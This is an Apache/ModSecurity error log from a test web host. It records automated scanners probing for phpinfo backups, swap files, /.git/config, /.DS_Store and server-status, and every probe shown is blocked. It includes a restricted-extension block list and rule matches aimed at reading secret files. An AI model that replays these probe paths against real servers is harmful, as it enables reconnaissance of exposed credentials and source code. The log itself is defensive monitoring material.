[Sun Oct 26 01:26:39.206625 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.backup"] [unique_id "aP1cr0zaR8lgJrImiX9UMAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:39.813113 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.backup"] [unique_id "aP1cr0zaR8lgJrImiX9UMQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:39.813805 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.backup"] [unique_id "aP1cr0zaR8lgJrImiX9UMQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:39.814004 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.backup"] [unique_id "aP1cr0zaR8lgJrImiX9UMQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:40.420309 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.backup"] [unique_id "aP1csEzaR8lgJrImiX9UMgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:40.420970 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.backup"] [unique_id "aP1csEzaR8lgJrImiX9UMgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:40.421170 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.backup"] [unique_id "aP1csEzaR8lgJrImiX9UMgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:41.027639 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.backup"] [unique_id "aP1csUzaR8lgJrImiX9UMwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:41.028396 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.backup"] [unique_id "aP1csUzaR8lgJrImiX9UMwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:41.028619 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.backup"] [unique_id "aP1csUzaR8lgJrImiX9UMwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:48.083160 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.swp"] [unique_id "aP1cuEzaR8lgJrImiX9UOAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:48.083848 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.swp"] [unique_id "aP1cuEzaR8lgJrImiX9UOAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:48.084035 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/phpinfo.php.swp"] [unique_id "aP1cuEzaR8lgJrImiX9UOAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:48.690289 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.swp"] [unique_id "aP1cuEzaR8lgJrImiX9UOQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:48.690980 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.swp"] [unique_id "aP1cuEzaR8lgJrImiX9UOQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:48.691160 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/info.php.swp"] [unique_id "aP1cuEzaR8lgJrImiX9UOQAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:49.299511 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.swp"] [unique_id "aP1cuUzaR8lgJrImiX9UOgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:49.300406 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.swp"] [unique_id "aP1cuUzaR8lgJrImiX9UOgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:49.300649 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/php_info.php.swp"] [unique_id "aP1cuUzaR8lgJrImiX9UOgAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:49.907434 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.swp"] [unique_id "aP1cuUzaR8lgJrImiX9UOwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:49.908077 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.swp"] [unique_id "aP1cuUzaR8lgJrImiX9UOwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:26:49.908280 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test.php.swp"] [unique_id "aP1cuUzaR8lgJrImiX9UOwAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:27:10.066162 2025] [authz_core:error] [pid 3764998] [client 3.107.185.28:37872] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/phpinfo.php, referer: https://www.google.com/
[Sun Oct 26 01:27:10.672536 2025] [authz_core:error] [pid 3764998] [client 3.107.185.28:37872] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/info.php, referer: https://www.google.com/
[Sun Oct 26 01:27:11.278987 2025] [authz_core:error] [pid 3764998] [client 3.107.185.28:37872] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/phpinfo.php.save, referer: https://www.google.com/
[Sun Oct 26 01:27:11.886083 2025] [authz_core:error] [pid 3764998] [client 3.107.185.28:37872] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/info.php.save, referer: https://www.google.com/
[Sun Oct 26 01:28:05.459725 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aP1dBUzaR8lgJrImiX9UbAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:28:05.460406 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aP1dBUzaR8lgJrImiX9UbAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 01:28:05.460598 2025] [:error] [pid 3764998] [client 3.107.185.28:37872] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aP1dBUzaR8lgJrImiX9UbAAAAAM"], referer: https://www.google.com/
[Sun Oct 26 08:27:50.670653 2025] [:error] [pid 3774079] [client 45.148.10.165:58162] [client 45.148.10.165] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "aP3NdulpC9eUypebZgUiiwAAAAo"]
[Sun Oct 26 08:27:50.670920 2025] [:error] [pid 3774079] [client 45.148.10.165:58162] [client 45.148.10.165] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "aP3NdulpC9eUypebZgUiiwAAAAo"]
[Sun Oct 26 08:27:50.671078 2025] [:error] [pid 3774079] [client 45.148.10.165:58162] [client 45.148.10.165] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "aP3NdulpC9eUypebZgUiiwAAAAo"]
[Sun Oct 26 08:27:50.760049 2025] [:error] [pid 3774077] [client 45.148.10.165:58220] [client 45.148.10.165] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aP3NdgFRpoKdmUXlJht3yAAAAAg"]
[Sun Oct 26 08:27:50.760265 2025] [:error] [pid 3774077] [client 45.148.10.165:58220] [client 45.148.10.165] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aP3NdgFRpoKdmUXlJht3yAAAAAg"]
[Sun Oct 26 08:27:50.760411 2025] [:error] [pid 3774077] [client 45.148.10.165:58220] [client 45.148.10.165] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aP3NdgFRpoKdmUXlJht3yAAAAAg"]
[Sun Oct 26 14:48:26.947114 2025] [authz_core:error] [pid 3781350] [client 207.154.212.47:60394] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Oct 26 14:48:27.452073 2025] [:error] [pid 3782245] [client 207.154.212.47:60428] [client 207.154.212.47] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aP4mqxw7Pp6Y_bXp9Y4DnAAAAAA"]
[Sun Oct 26 14:48:27.452360 2025] [:error] [pid 3782245] [client 207.154.212.47:60428] [client 207.154.212.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aP4mqxw7Pp6Y_bXp9Y4DnAAAAAA"]
